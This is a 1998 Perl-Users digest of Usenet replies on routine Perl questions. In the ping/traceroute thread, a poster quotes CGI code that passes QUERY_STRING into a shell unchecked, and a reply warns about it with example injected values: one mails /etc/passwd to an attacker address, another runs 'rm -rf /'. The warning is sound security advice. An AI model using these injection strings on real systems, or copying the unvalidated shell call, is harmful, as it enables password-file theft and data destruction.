[9542] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 3136 Volume: 8

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sun Jul 12 23:07:13 1998

Date: Sun, 12 Jul 98 20:00:22 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Sun, 12 Jul 1998     Volume: 8 Number: 3136

Today's topics:
    Re: -w on production code lvirden@cas.org
    Re: \Q and \E (Ronald J Kimball)
        Changing filename automatically with perl jevon@my-dejanews.com
    Re: Changing filename automatically with perl (Larry Rosler)
    Re: Changing filename automatically with perl (Tad McClellan)
    Re: DB_File.pm (Brandon S. Allbery KF8NH)
    Re: Getting Yesterday's Date (Chris Adams)
    Re: Getting Yesterday's Date (Abigail)
    Re: Getting Yesterday's Date (Abigail)
    Re: How can you encrypt a CGI script on a server so it  (I R A Aggie)
    Re: Lenght of string and array problem... (Andre L.)
    Re: Lenght of string and array problem... (I R A Aggie)
    Re: Lenght of string and array problem... (Ronald J Kimball)
    Re: need a script <quednauf@nortel.co.uk>
    Re: page is not showing until perl program is finished (Ronald J Kimball)
        Perl Beautifier Home Page <tim.maher@halcyon.com>
    Re: Perl Beautifier Home Page <tchrist@mox.perl.com>
    Re: Perl Beautifier Home Page (Ilya Zakharevich)
    Re: Perl Beautifier Home Page <rick.delaney@shaw.wave.ca>
    Re: perl IDE and compiler <quednauf@nortel.co.uk>
    Re: PING / Traceroute Perl Script (I R A Aggie)
    Re: Problem returning Hash from a procedure (Ronald J Kimball)
    Re: Putting CPAN on a CD: good or not good? (I R A Aggie)
    Re: Q: waiting for a page respond, but maby it's wrong. (I R A Aggie)
    Re: question about objects (Tye McQueen)
    Re: Returning a list from a XS (Charles DeRykus)
        Unsigned Char to Unsigned long (Paul Falbe)
    Re: Weirdness in trying to extract year from localtime <metcher@spider.herston.uq.edu.au>
    Re: Weirdness in trying to extract year from localtime (I R A Aggie)
    Re: Where is perldoc? lvirden@cas.org
        Special: Digest Administrivia (Last modified: 12 Mar 98 (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: 13 Jul 1998 01:17:53 GMT
From: lvirden@cas.org
Subject: Re: -w on production code
Message-Id: <6obn81$4m7$1@srv38s4u.cas.org>


According to Tina Marie Holmboe <tina@tech.scandinaviaonline.se>:
:In article <35a4ed78.696185772@news.mr.net>,
:	Scott.L.Erickson@HealthPartners.com (Scott Erickson) writes:
:
:>>++      a) System programmer or system admin installs a new module.
:>>++      b) The module sprouts warnings.
:>>++      c) I used -w
:>>++      d) I can't bloody debug my own script due to screefuls of warnings
:>>++         from the *module*
:>>++      e) I ask them to do something about the module
:>>++      f) I am told to go fuck myself
:>>
:>>        g) Don't use the module.
:> 
:> I have to agree with Abigail on this one. I encountered a similar
:
:  The situation isn't that simple - as Abigail sadly will never quite
:  catch I guess.
:
:    g) Don't use the module
:    h) Get fired
:
:  ('H' is abit overdone here, but perhaps it rings a bell in certain
:   quarters)

Perhaps in your part of the world this isn't as easy an option as in others,
but I would consider after your f above my own g:

g) quit that job and find a job elsewhere 

Around this part of the world, one would probably pick up an extra $20,000
a year ...

-- 
<URL:mailto:lvirden@cas.org> Quote: In heaven, there is no panic,
<*> O- <URL:http://www.teraform.com/%7Elvirden/> only planning.
Unless explicitly stated to the contrary, nothing in this posting
should be construed as representing my employer's opinions.


------------------------------

Date: Sun, 12 Jul 1998 14:54:33 -0400
From: rjk@coos.dartmouth.edu (Ronald J Kimball)
Subject: Re: \Q and \E
Message-Id: <1dc25gv.ab3c6zpwei80N@bay1-251.quincy.ziplink.net>

Marc Haber <Marc.Haber-usenet@gmx.de> wrote:

> lr@hpl.hp.com (Larry Rosler) wrote:
> >In article <6oagbe$n01$4@nz12.rz.uni-karlsruhe.de> on Sun, 12 Jul 1998
> >14:13:29 GMT, Marc Haber <Marc.Haber-usenet@gmx.de> says...
> >...
> >> Obviously, \Q and \E are invoked during the assignment to $search2.
> >> How do I make \Q and \E do their magic when the string comes in from a
> >> file?
> >
> >`perldoc -f quotemeta` might be what you are looking for.
> 
> Not quite. I have a program that helps me developing regexps by
> reading one from stdin and then matching all lines subsequently read
> against that regexp and reporting failure or success.
> 
> I'd like to have that program properly handle \Q and \E in strings.
> Will I have to do something like
> 
> $str =~ /^(.*)\\Q(.*)\\E(.*)$/;
> $str = $1.quotemeta($2).$3;
>
> until the exp won't match any more?

$str =~ s/\\Q((?:[^\\]|\\[^E])*)(?:\\E|$)/quotemeta($1)/eggs;

> Note: This most certainly won't work in that form since I am
> disregarding many special cases at the moment - I just want to get the
> thought thru.

It will probably do funky things if your input is poorly formed, but I
think that's the best solution, until the qr// quoting operator is
available.  (At which point eval "qr/$str/" would probably be what you
want.)

Alternatively, don't accept \Q\E in the input to the program; require
the backslashing to be done explicitly.

-- 
 _ / '  _      /         - aka -         rjk@coos.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
        "It's funny 'cause it's true ... and vice versa."


------------------------------

Date: Sun, 12 Jul 1998 17:06:13 GMT
From: jevon@my-dejanews.com
Subject: Changing filename automatically with perl
Message-Id: <6oaqe5$2u8$1@nnrp1.dejanews.com>

Hey.. I am looking for suggestions.

In my script I am outputting individual files. I want them to be named
game1.gme, game2.gme etc...

I want to know how to read in what the last file is (ie. Largest number) and
then add one (1) to it..

Thanks.

-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp   Create Your Own Free Member Forum


------------------------------

Date: Sun, 12 Jul 1998 17:43:28 -0700
From: lr@hpl.hp.com (Larry Rosler)
Subject: Re: Changing filename automatically with perl
Message-Id: <MPG.1012f80dbb5b16dc989734@nntp.hpl.hp.com>

In article <5kvao6.uj2.ln@localhost> on Sun, 12 Jul 1998 13:34:45 -0500, 
Tad McClellan <tadmc@flash.net> says...
 ...
>    return sprintf "game%d.gme", $largest+1;

A fussy person who likes things to sort nicely in directory listings 
might do it this way:

     return sprintf "game%.3d.gme", $largest+1;

Or, of course, %.2d if no more than 99 files.

-- 
Larry Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com


------------------------------

Date: Sun, 12 Jul 1998 13:34:45 -0500
From: tadmc@flash.net (Tad McClellan)
Subject: Re: Changing filename automatically with perl
Message-Id: <5kvao6.uj2.ln@localhost>

jevon@my-dejanews.com wrote:

: In my script I am outputting individual files. I want them to be named
: game1.gme, game2.gme etc...

: I want to know how to read in what the last file is (ie. Largest number) and
: then add one (1) to it..


--------------------------
#!/usr/bin/perl -w

use strict;

my $next_file = nextFileName();
print "The next file should be named '$next_file'\n";


sub nextFileName {
   my($largest) = 0;

   opendir(DIR, '.') || die "could not open current directory  $!";

   foreach my $num ( grep s/^game(.*)\.gme$/$1/, readdir(DIR)) {
      $largest = $num if $num > $largest;
   }

   closedir(DIR);

   return sprintf "game%d.gme", $largest+1;
}
--------------------------


--
    Tad McClellan                          SGML Consulting
    tadmc@metronet.com                     Perl programming
    Fort Worth, Texas


------------------------------

Date: 12 Jul 1998 14:39:06 -0400
From: allbery@kf8nh.apk.net (Brandon S. Allbery KF8NH)
Subject: Re: DB_File.pm
Message-Id: <6oavsa$7i4$1@rushlight.kf8nh.apk.net>

Also sprach Jorge Kinoshita <jkinoshi@pcs.usp.br> (<35A76FCA.98E1E16B@pcs.usp.br>):
+-----
| DCash wrote:
| > Can some tell me where I can locate DB_File.pm  I was told that it came
| > bundled with Perl but my sys admin doesn't have it.
|   To my concern, you must be looking a generic DB_File. You must specify
| this DB_File by choosing GDBM_File.pm, SDBM_File.pm, etc. Yes, these files
| comes with Perl.
+--->8

DB_File is the Perl interface to Berkeley DB v1.  (It will work with v2, but
there's also a module that supports v2's enhancements.)  It won't be installed
if you don't have Berkeley DB available when Perl is built.

If you add Berkeley DB later and aren't in a position to rebuild Perl afterward
(which would be overkill anyway), you can download DB_File.pm from CPAN.

-- 
brandon s. allbery	[os/2][linux][solaris][japh]	 allbery@kf8nh.apk.net
system administrator	     [WAY too many hats]	   allbery@ece.cmu.edu
electrical and computer engineering
carnegie mellon university			   (bsa@kf8nh is still valid.)


------------------------------

Date: 12 Jul 1998 17:45:26 GMT
From: cadams@ro.com (Chris Adams)
Subject: Re: Getting Yesterday's Date
Message-Id: <6oasnm$l5l$1@news.ro.com>

According to Tom Christiansen  <tchrist@mox.perl.com>:
>                                            It turns out that POSIX
>requires that time() not include leap seconds

Out of curiousity, where is this said?  Is it still true in the Unix98
spec?  I just looked at the Unix98 spec and it says:

    APPLICATION USAGE

     The range [0,61] for tm_sec allows for the occasional leap second
     or double leap second.
-- 
Chris Adams - cadams@ro.com
System Administrator - Renaissance Internet Services
I don't speak for anybody but myself - that's enough trouble.


------------------------------

Date: 13 Jul 1998 02:09:04 GMT
From: abigail@fnx.com (Abigail)
Subject: Re: Getting Yesterday's Date
Message-Id: <6obq80$138$1@client3.news.psi.net>

Tom Christiansen (tchrist@mox.perl.com) wrote on MDCCLXXVI September
MCMXCIII in <URL: news:6ob1p4$i4g$1@csnews.cs.colorado.edu>:
++  [courtesy cc of this posting sent to cited author via email]
++ 
++ In comp.lang.perl.misc, 
++     cadams@ro.com (Chris Adams) writes:
++ :According to Tom Christiansen  <tchrist@mox.perl.com>:
++ :>                                            It turns out that POSIX
++ :>requires that time() not include leap seconds
++ :
++ :Out of curiousity, where is this said?  Is it still true in the Unix98
++ :spec?  I just looked at the Unix98 spec and it says:
++ :
++ :    APPLICATION USAGE
++ :
++ :     The range [0,61] for tm_sec allows for the occasional leap second
++ :     or double leap second.
++ 
++ From reading various manpages, it is remarkable how many programmers
++ think this can happen, but I believe it is a myth that a double leap
++ second can exist.  I can find no reference supporting it, and several
++ disputing it.

The story I've heard (but I don't have a reference) is that the people
originally defining the range [0,61] for tm_sec did this indeed to include
for lead seconds - and they just made a mistake to have the range [0,61]
instead of [0,60]. The double lead second was later made up as a joke.



Abigail
-- 
perl -MLWP::UserAgent -MHTML::TreeBuilder -MHTML::FormatText -wle'print +(HTML::FormatText -> new -> format (HTML::TreeBuilder -> new -> parse (LWP::UserAgent -> new -> request (HTTP::Request -> new ("GET", "http://work.ucsd.edu:5141/cgi-bin/http_webster?isindex=perl")) -> content)) =~ /(.*\))[-\s]+Addition/s) [0]'


------------------------------

Date: 13 Jul 1998 02:18:26 GMT
From: abigail@fnx.com (Abigail)
Subject: Re: Getting Yesterday's Date
Message-Id: <6obqpi$138$2@client3.news.psi.net>

Brandon S. Allbery KF8NH (allbery@kf8nh.apk.net) wrote on MDCCLXXVI
September MCMXCIII in <URL: news:6ob15n$7n6$1@rushlight.kf8nh.apk.net>:
++ Also sprach tchrist@mox.perl.com (Tom Christiansen) (<6oacd6$d0f$1@csnews.cs.colorado.edu>):
++ +-----
++ | Perl's time() function returns the number of seconds that have passed
++ | since the epoch--more or less.  29 seconds less as of this writing,
++ | actually, if you want to be to be precise.  It turns out that POSIX
++ | requires that time() not include leap seconds, a peculiar practice of
++ +--->8
++ 
++ Solaris apparently violates this:  see the manpages for localtime and
++ strftime.  (strftime() could be rationalized away, but localtime() blows
++ the whole thing.)


I think there's a real good reason POSIX defines that time() should
ignore lead seconds. That way, given a value for time(), one can
unambigiously calculate the right time and date, and given a time
and date, one can calculate the value for time.

I've yet to see a computer where one sets the system clock by setting
a value for time() instead of a regular date and time. And I've yet
to encounter a /etc/leapseconds file (to be update once every year or
year and a half). 

I can't find any violation by Solaris of the POSIX rules in the manpage
for localtime. But if Solaris does, how do I tell my machine there's
a new leap second coming up?



Abigail
-- 
perl -we '$_ = q ?4a75737420616e6f74686572205065726c204861636b65720as?;??;
          for (??;(??)x??;??)
              {??;s;(..)s?;qq ?print chr 0x$1 and \161 ss?;excess;??}'


------------------------------

Date: Sun, 12 Jul 1998 14:17:07 -0500
From: fl_aggie@thepentagon.com (I R A Aggie)
Subject: Re: How can you encrypt a CGI script on a server so it will not get "stolen"?
Message-Id: <fl_aggie-1207981417070001@aggie.coaps.fsu.edu>

In article <35a7f489.57840230@nntp.idsonline.com>,
root.noharvest.\@not_even\here.com wrote:

+ fl_aggie@thepentagon.com (I R A Aggie) Said this:

+ >Probably a violation of the US Computer Crimes Act, 1968 (and as amended),
+ >not to mention a violation of the Computer Crimes Act of the various
+ >states.

+ I don't know that it would fall under any criminal act or not.

It would. Further, it will likely open the legal owner of the software
to civil liability should the "self destruct keyword" leak out and got
into the hands of the wrong people. 

+ I
+ would think they would have as much chance of prosecuting you for
+ deleting your script as you would have in suing them in a civil court
+ for stealing the script from you in the first place.

Presuming, of course, the the author can show the court that such an
agreement as has been alluded to _actually_ exists. That's to say:
a signed contract between the parties involved, and ideally a submitted
copyright claim to the XX Copyright office (where XX is the country of
choice).

Then there's the minor difference of: Criminal Court vs. Civil Court.

The originator of the software may get his civil dues, only to find out
that the next two years of his life will be spent behind bars with a
roommate named 'Bubba', and that his civil award will be spent fighting
the power of the State.

Again, this is a licensing/legal issue, not a perl issue. The author
of this CGI should be talking to a contract lawyer, not us.

James


------------------------------

Date: Sun, 12 Jul 1998 13:21:59 -0500
From: alecler@cam.org (Andre L.)
Subject: Re: Lenght of string and array problem...
Message-Id: <alecler-1207981321590001@dialup-900.hip.cam.org>

In article <kq90lzcb6z.fsf@atrey.karlin.mff.cuni.cz>, Ondrej Sury
<shade@atrey.karlin.mff.cuni.cz> wrote:

> 1.  How do I find out length of string in Perl?

Er... length() ?

> 2.  Array @mages is filled with numbers.  But after I use this
> code each number in array rewritten by value of $mg_found{$_}.
> I use similar code on other place and it doesn't behave like
> this.  What is the problem?
> 
>     foreach (@mages) {
>         $_ = $mg_found{$_};
>         @_ = split //;
>         for ($a = 0; $a < 10; $a++) {
>             $max{$a} = $_[$a] if ($max{$a} < $_[$a]);
>         }
>     }
> 

$_ is an alias to an element of @mages. If you modify $_ in the foreach
loop, you modify the corresponding datum in @mages as well. (This is also
true if you write "foreach $thing (@mages)" and change the value of
$thing.)

If you want to keep the array intact, take a copy of the element first and
work on that copy.

HTH,
A.L.


------------------------------

Date: Sun, 12 Jul 1998 13:25:41 -0500
From: fl_aggie@thepentagon.com (I R A Aggie)
Subject: Re: Lenght of string and array problem...
Message-Id: <fl_aggie-1207981325410001@aggie.coaps.fsu.edu>

In article <kq90lzcb6z.fsf@atrey.karlin.mff.cuni.cz>, Ondrej Sury
<shade@atrey.karlin.mff.cuni.cz> wrote:

+ 1.  How do I find out length of string in Perl?

Let me restate the question:

Q: How do I find out how to find out the lenght of a string in Perl?

A: The included documentation is your friend, and should be installed
   locally. For a properly installed system, one may simply:

shell% perldoc -f length | pod2text
    length EXPR
    length
    Returns the length in characters of the value of EXPR. If EXPR
    is omitted, returns length of $_.

James


------------------------------

Date: Sun, 12 Jul 1998 14:54:34 -0400
From: rjk@coos.dartmouth.edu (Ronald J Kimball)
Subject: Re: Lenght of string and array problem...
Message-Id: <1dc262y.1gopf83kh59bqN@bay1-251.quincy.ziplink.net>

Ondrej Sury <shade@atrey.karlin.mff.cuni.cz> wrote:

> 1.  How do I find out length of string in Perl?
                        ^^^^^^ hint! hint! hint!

Gee, I dunno, how do you?

> 2.  Array @mages is filled with numbers.  But after I use this
> code each number in array rewritten by value of $mg_found{$_}.
> I use similar code on other place and it doesn't behave like
> this.  What is the problem?
> 
>     foreach (@mages) {
>         $_ = $mg_found{$_};
          ^^^^^^^^^^^^^^^^^^

>From the documentation for foreach, in perlsyn:

   LABEL foreach VAR (LIST) BLOCK

   If VAR is omitted, $_ is set to each value.  If LIST is an actual
   array (as opposed to an expression returning a list value), you
   can modify each element of the array by modifying VAR inside the
   loop.  That's because the foreach loop index variable is an
   implicit alias for each item in the list that you're looping over.

You are modifying VAR inside the loop, so you are modifying each element
of the array.

You have read the documentation, haven't you?

-- 
 _ / '  _      /         - aka -         rjk@coos.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
        "It's funny 'cause it's true ... and vice versa."


------------------------------

Date: Sun, 12 Jul 1998 11:25:45 +0100
From: "F.Quednau" <quednauf@nortel.co.uk>
Subject: Re: need a script
Message-Id: <35A88F29.3F7372F2@nortel.co.uk>

Degen-X wrote:
> 
> anyone have a script that records how many times a files has been
> downloaded, then shows that number on your webpage?

You might want to check one of the many cgi resources websites available on the web, e.g.
cgiresources.com, as this is not the appropriate newsgroups for program requests.
However, if you choose to write such a script on your own, check out the valuable and
extensive documentation on Perl, also on the web. If you still get stuck then you are
welcome to post your problem in this newsgroups.

HTH!



-- 
____________________________________________________________
Frank Quednau               
http://www.surrey.ac.uk/~me51fq
________________________________________________


------------------------------

Date: Sun, 12 Jul 1998 14:54:35 -0400
From: rjk@coos.dartmouth.edu (Ronald J Kimball)
Subject: Re: page is not showing until perl program is finished
Message-Id: <1dc26ak.dzmhw0b2bdwlN@bay1-251.quincy.ziplink.net>

<dwiesel@my-dejanews.com> wrote:

> Does anyone know how I can make some of my page show up for the user although
> the program is not finished?

This is not a Perl question, it is a CGI question.  You want
non-parsed-headers.

-- 
 _ / '  _      /         - aka -         rjk@coos.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
        "It's funny 'cause it's true ... and vice versa."


------------------------------

Date: Sun, 12 Jul 1998 10:10:09 +0100
From: Tim Maher <tim.maher@halcyon.com>
To: tim.maher@halcyon.com
Subject: Perl Beautifier Home Page
Message-Id: <35A87D71.1D8DBD36@halcyon.com>

I've got my Perl Beautifier running, with a reasonable set
of default options, on
http://www.consultix.wa.com/yumpy/cgi-pvt/pbeaut.cgi.

It's been tested primarily with the 66 modules of the standard
Perl distribution, so I'm interested to see what happens when
it's confronted with other programming styles.

Please help me test it by whipping some of your code at
it!  I'll be Emailed any syntax errors that my beautifier
introduces, which could help me improve it, prior to making
it more generally available.

TIA,

    Tim

JAPT (Just Another Perl Trainer)
+-------------------------------------------------------------------+
| Tim Maher, Ph.D.              Head PERL Trainer & CEO, CONSULTIX  |
| Email: tim@consultix.wa.com   http://www.consultix.wa.com/yumpy/  |
| Board,   Seattle UNIX Group:  http://www.seaslug.org/seaslug.html |
| Leader,  Seattle Perl Group:  http://www.halcyon.com/spug/        |
+-------------------------------------------------------------------+





------------------------------

Date: 12 Jul 1998 20:18:48 GMT
From: Tom Christiansen <tchrist@mox.perl.com>
Subject: Re: Perl Beautifier Home Page
Message-Id: <6ob5n8$oep$1@csnews.cs.colorado.edu>

 [courtesy cc of this posting sent to cited author via email]

In comp.lang.perl.misc, ilya@math.ohio-state.edu (Ilya Zakharevich) writes:
:CPerl will do it.

What sort of mutilations does it perform on the source at:

    http://language.perl.com/mox/MxScreen

--tom
-- 
    "Do we define evil as the absence of goodness?  It seems only logical
    that shit happens--we discover this by the process of elimination."
    	--Larry Wall


------------------------------

Date: 12 Jul 1998 20:31:44 GMT
From: ilya@math.ohio-state.edu (Ilya Zakharevich)
Subject: Re: Perl Beautifier Home Page
Message-Id: <6ob6fg$8ss$1@mathserv.mps.ohio-state.edu>

[A complimentary Cc of this posting was sent to Tom Christiansen 
<tchrist@mox.perl.com>],
who wrote in article <6ob5n8$oep$1@csnews.cs.colorado.edu>:
> What sort of mutilations does it perform on the source at:
> 
>     http://language.perl.com/mox/MxScreen

CPerl works on Perl code.  What is at this URL is not Perl.

Hope this helps,
Ilya

P.S.  CPerl does beautification interactively.  On this file it finds
many false positives due to obvious bugs in RE.  Thanks for this hint.


------------------------------

Date: Sun, 12 Jul 1998 18:38:33 GMT
From: Rick Delaney <rick.delaney@shaw.wave.ca>
Subject: Re: Perl Beautifier Home Page
Message-Id: <35A90407.7A686BB8@shaw.wave.ca>

Tim Maher wrote:
> 
> I've got my Perl Beautifier running, with a reasonable set
> of default options, 
[...]
> 
> Please help me test it by whipping some of your code at
> it!  I'll be Emailed any syntax errors that my beautifier
> introduces, which could help me improve it, prior to making
> it more generally available.
> 

    %hash=(a=>'A',ab=>'AB',abc=>'ABC',);
    $var=10;
    $longvar=10;

Beautified?:

:   %hash = (a => 'A', ab => 'AB', abc => 'ABC',);
:   $var = 10;
:   $longvar = 10;

No syntax errors, but still not very pretty.

-- 
Rick Delaney
rick.delaney@shaw.wave.ca


------------------------------

Date: Sun, 12 Jul 1998 12:01:24 +0100
From: "F.Quednau" <quednauf@nortel.co.uk>
Subject: Re: perl IDE and compiler
Message-Id: <35A89784.BB3E451C@nortel.co.uk>

stlam@yahoo.com wrote:
> 
> Hi all,
> Is there any Perl IDE for win32 
yes (www.solutionsoft.com) 
> /unix?
yes, UNIX :)
> Is there any Perl compiler for win32
yes, Perl
> /unix?
yes, also Perl :)

Check out for better answers ...

-- 
____________________________________________________________
Frank Quednau               
http://www.surrey.ac.uk/~me51fq
________________________________________________


------------------------------

Date: Sun, 12 Jul 1998 13:58:42 -0500
From: fl_aggie@thepentagon.com (I R A Aggie)
Subject: Re: PING / Traceroute Perl Script
Message-Id: <fl_aggie-1207981358420001@aggie.coaps.fsu.edu>

In article <35A80B17.9BA9BE17@savalas.com>, Jesse Rosenberger
<jesse@savalas.com> wrote:

+ I am trying to get a Ping and a Traceroute Perl Script  to work so that
+ they will output the information as they are recieved (ie nph-file.pl).

+ $fqdn = $ENV{'QUERY_STRING'};
+ $ping_cmd = "/sbin/ping";
+ $num_times = 4;
+ @result = `$ping_cmd -c$num_times $fqdn`;
 
+ print "Content-type: text/html\n\n";
+ print "Ping Results For <b>$fqdn</b>:<br>";
+ print "<br>\n";
+ print "@result";
+ exit;
 
+ but it prints it all out in one block instead of line-by-line, like the
+ normal ping output looks, and it also waits till all the pinging is done
+ before it outputs.

I hate to put it this way, but duh! of *course* it acts like that!
@result doesn't get filled until _after_ the ping is finished. I don't
see a way around that. Perhaps if you 'use Net::Ping;', you *might* be
able to get a "live" ping. Taking a quick 30 second look at the docs
didn't inspire much confidence that it could be done that way.

Another "duh" is this: don't feed the returned contents of 'QUERY_STRING'
to an executable environment without checking the contents of 'QUERY_STRING'
for naughty stuff. For instance:

QUERY_STRING='127.0.0.1; /bin/mail bad_people@outlaws.warez.crackers < 
/etc/passwd'

Hope you have some recent backups if your WWW server is running a root, or 
it could be:

QUERY_STRING='127.0.0.1; /bin/rm -rf /'

That would be a hoot...

+ Can anyone help me with this?

Set $" to what you would like to seperate the records by. Perhaps:
$"=qq(<BR>\n);

will suit you? Also, I would suggest looking at the CGI Security FAQ
and 'perldoc perlsec', too.

James


------------------------------

Date: Sun, 12 Jul 1998 14:54:36 -0400
From: rjk@coos.dartmouth.edu (Ronald J Kimball)
Subject: Re: Problem returning Hash from a procedure
Message-Id: <1dc26gh.1ec5q4k157oxk6N@bay1-251.quincy.ziplink.net>

Phil Taylor <phil@ackltd.demon.co.uk> wrote:

> I am trying to load a hash with data as follows:-
> 
> my %list
> 
> %list = load_list();
> 
> #
> # end of main processing
> 
> # ---------------
> sub load_list
> # ----------------
> {
> my (%list);
> 
> processing to load the list
> 
> return %list
> }
> 
> Can anyone advise me why the  returned list is empty and what do I
> need to do to get it working. The above works if the hash was replaced
> with an ordinary array.

~> perl
my %list;

%list = load_list();

while (($key, $val) = each %list) {
  print "$key => $val\n";
}

sub load_list {
  my %list;

  %list = (foo => 1, bar => 2);

  return %list;
}
__END__
foo => 1
bar => 2


Works for me.  Looks like your problem is somewhere in the 'processing
to load the list' section.

-- 
 _ / '  _      /         - aka -         rjk@coos.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
        "It's funny 'cause it's true ... and vice versa."


------------------------------

Date: Sun, 12 Jul 1998 14:25:49 -0500
From: fl_aggie@thepentagon.com (I R A Aggie)
Subject: Re: Putting CPAN on a CD: good or not good?
Message-Id: <fl_aggie-1207981425490001@aggie.coaps.fsu.edu>

In article <6oa77g$p1a$1@nnrp1.dejanews.com>, birgitt@my-dejanews.com wrote:

+ The attached CD-ROM to the magazin is something done often in Germany,
+ apparently because online time to download things directly is
+ expensive. That is my assumption and I like to be corrected if
+ I am wrong.

My understanding of the telecom system in Germany is this: you pay for
every call you make. There's no such thing as "free local calling".

James


------------------------------

Date: Sun, 12 Jul 1998 14:02:06 -0500
From: fl_aggie@thepentagon.com (I R A Aggie)
Subject: Re: Q: waiting for a page respond, but maby it's wrong..
Message-Id: <fl_aggie-1207981402060001@aggie.coaps.fsu.edu>

In article <6o856a$b7r$1@nnrp1.dejanews.com>, dwiesel@my-dejanews.com wrote:

+ I don't want to wait forever...

Have you considered using the LWP module?

James


------------------------------

Date: 12 Jul 1998 20:19:16 -0500
From: tye@fohnix.metronet.com (Tye McQueen)
Subject: Re: question about objects
Message-Id: <6obnak$gdk@fohnix.metronet.com>

[Wow, this took a long time to show up on my news server.]

Tom Christiansen <tchrist@mox.perl.com> writes:
) 
) Did you intentionally ignore where I showed where using
) $_ made code *more* maintainable?

Not at all.  I still don't see where you pointed that out in
the post that I replied to.  Parts of threads arrive at my
ISP's news server with hugely varied travel times so I rarely
read threads in the order in which they were written (in case
it was earlier in the thread where you mentioned this).

I don't read all of your posts, but lately I've seen nothing
but good posts from you.  I wish to thank you publicly for that
since I had complained about the level of inappropriate posts
and held you up as a bad example.

I'm happy to see such consistently high-quality posts from you
and a much less mean-spirited newsgroup in general lately.  I
hope that doesn't sound condescending like I think my assessment
rates any special merit.  I just wanted to thank you.

) I have one of those.   For example:
[...]
)     no UnderScore;

That's exactly what I want!  Well, I guess I was thinking
compile-time rather than run-time but what you've written
certainly makes it hard to justify the work of adding compile-
time checks.

I'll definitely be using that module!

Thanks,
-- 
Tye McQueen    Nothing is obvious unless you are overlooking something
         http://www.metronet.com/~tye/ (scripts, links, nothing fancy)


------------------------------

Date: Mon, 13 Jul 1998 02:02:01 GMT
From: ced@bcstec.ca.boeing.com (Charles DeRykus)
Subject: Re: Returning a list from a XS
Message-Id: <Ew0GBD.Bw@news.boeing.com>

In article <35A654A0.9D6AE58@csmonitor.com>,
James Turner  <james@csmonitor.com> wrote:
>I'm trying to return a list of values from an XS, but even after reading
>perlguts, I'm having trouble getting it to work right.
>
>Here's the pertinent sub:
>AV *
>avs_version()
>     PREINIT:
>        AV *arr;
>     CODE:
>        arr = newAV();
>        av_push(arr, newSVpv("This is a test", 0));
>        av_push(arr, newSVpv("This is a another test", 0));
>        RETVAL = (AV *) arr;
>     OUTPUT:
>        RETVAL
>
>Here's the test function:
>@version = avs_version();
>print "$version[0][0]\n";
>print "$version[0][1]\n";
>
>Note that I have to do [0][0], rather than just [0].  Why is a double
>layer of arrays being created, I would think that returning an AV* would
>just create a single array.
>

No, the return type is AV * which is an array reference. 
The reference was returned into $version[0] so you had
a nested array. Write this instead:

   $array_ref = avs_version(); 
   print "$$array_ref[0]\n";   # prints "This is a test"


HTH,
--
Charles DeRykus


------------------------------

Date: 12 Jul 98 17:53:05 GMT
From: paul@cassens.com (Paul Falbe)
Subject: Unsigned Char to Unsigned long
Message-Id: <19057.900265985@cassens.com>
Keywords: bit shift, long

Hi,

I've got some binary data stored as 3 byte integers.  The following
C-code converts a unsigned Char to a long integer.

static void convert_3_to_long (unsigned char * in, unsigned long * out)
{
   *out = (long) in[0] + ((long) in[1] << 8) + ((long) in[2] << 16);
}

My problem is I want to be able read and create these 3 byte integers.
Anyone got any ideas how to do this in Perl?


Thanks in advance!

-Paul

--
Internet:             | Paul J. Falbe             |                          
   falbe@cassens.com  | Cassens Transport         | Std disclaimers apply.   
Voice:                | 145 N. Kansas Str.        |  (But you knew that!)    
   618-656-3006       | Edwardsville, IL 62025    |                          


------------------------------

Date: Mon, 13 Jul 1998 11:11:54 +1000
From: Jaime Metcher <metcher@spider.herston.uq.edu.au>
Subject: Re: Weirdness in trying to extract year from localtime
Message-Id: <35A95EDA.F3A1E2A4@spider.herston.uq.edu.au>

Troll of the week!  Well done.

-- 
Jaime Metcher

Allen Choy wrote:
> 
> Don't I get into a Y2K problem if I add 1900?
> 
> --Allen
> 
> Craig Berry wrote:
> 
> > Albert W. Dorrington (awdorrin@mail.delcoelect.com) wrote:
> > : Using the code:
> > :
> > :       $year = localtime[5] + 1900;
> >
> > That actually needs to be (localtime)[5] .
> >
> > ---------------------------------------------------------------------
> >    |   Craig Berry - cberry@cinenet.net
> >  --*--    Home Page: http://www.cinenet.net/users/cberry/home.html
> >    |      Member of The HTML Writers Guild: http://www.hwg.org/
> >        "Every man and every woman is a star."


------------------------------

Date: Sun, 12 Jul 1998 14:29:35 -0500
From: fl_aggie@thepentagon.com (I R A Aggie)
Subject: Re: Weirdness in trying to extract year from localtime
Message-Id: <fl_aggie-1207981429350001@aggie.coaps.fsu.edu>

In article <6o8d5l$o6v$1@marina.cinenet.net>, cberry@cinenet.net (Craig
Berry) wrote:

+ Allen Choy (achoy@us.oracle.com) replied, using nonstandard quoting order:
+ : Don't I get into a Y2K problem if I add 1900?
+ 
+ No, you get out of one.  Seriously, what do you mean?

I think Allen just needs to "perldoc -f localtime" where it quite clearly
states that the value for the returned year is an _offset_ from 1900.

James


------------------------------

Date: 13 Jul 1998 01:07:27 GMT
From: lvirden@cas.org
Subject: Re: Where is perldoc?
Message-Id: <6obmkf$3vn$1@srv38s4u.cas.org>


Re: unable to call perldoc from the command line

I assume you _have_ a command line and are not 'stuck' in some sort
of program manager application.

Are you able to call perl from the command line?  Using the command line
whence perl

take a look at the file that returns to see if it is the executable or a
link (or a shell command) that points to the real perl.  Once you find the
real perl's path, cd into the directory into which perl has been installed.
